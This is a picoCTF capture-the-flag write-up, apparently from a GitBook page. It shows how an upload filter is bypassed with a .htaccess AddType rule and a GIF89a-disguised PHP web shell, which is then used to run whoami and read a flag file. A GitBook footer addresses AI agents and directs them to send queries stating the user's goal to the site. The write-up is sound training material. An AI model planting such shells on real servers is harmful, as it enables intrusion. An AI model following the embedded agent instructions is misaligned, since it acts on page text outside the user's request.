> For the complete documentation index, see [llms.txt](https://alham-rizvi.gitbook.io/alhamrizvi/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://alham-rizvi.gitbook.io/alhamrizvi/picoctf-writeups/picoctf/web-exploitation/byp4ss3d.md).

# byp4ss3d

We are given a link to a web application that appears to be an identity verification portal.

Upon opening the page, we are presented with a file upload functionality. At first glance, it looks like a simple upload system with restrictions on allowed file types.

The application does not allow uploading common file types such as `.txt` or `.php`.

Attempting a basic upload confirms this restriction — uploads fail with an error indicating unsupported file types.

This suggests server-side validation is in place.

### Hints Analysis

Two important hints are provided:

**Hint 1:** Apache can be tricked into executing non-PHP files as PHP using a `.htaccess` file.

**Hint 2:** Try uploading more than one file.

These hints clearly point toward an Apache misconfiguration involving `.htaccess`.

### What is `.htaccess`?

The `.htaccess` file is a configuration file used by Apache web servers. It allows directory-level configuration without modifying the main server config.

In this case, it can be abused to override how file extensions are handled, potentially forcing non-PHP files to be interpreted as PHP.

### Exploitation

Since direct `.php` uploads are blocked, we intercept the upload request using Burp Suite.

We first upload a `.htaccess` file with the following content:

```
AddType application/x-httpd-php .jpg
```

This forces the server to interpret `.jpg` files as PHP code.

Next, we upload a file named `shell.jpg` containing a PHP payload disguised as an image:

```
GIF89a;
<?php system($_GET['0']); ?>
```

The `GIF89a` header helps bypass basic file validation that checks for image signatures.

### Remote Code Execution

Now, the uploaded file can be executed as PHP through the browser:

```
http://amiable-citadel.picoctf.net:64277/images/shell.jpg?0=whoami
```

This confirms remote code execution, returning:

```
www-data
```

We now have a working web shell as the `www-data` user.

### Flag Retrieval

Using the same shell, we attempt to read the flag file:

```
http://amiable-citadel.picoctf.net:64277/images/shell.jpg?0=cat+/var/www/flag.txt
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://alham-rizvi.gitbook.io/alhamrizvi/picoctf-writeups/picoctf/web-exploitation/byp4ss3d.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.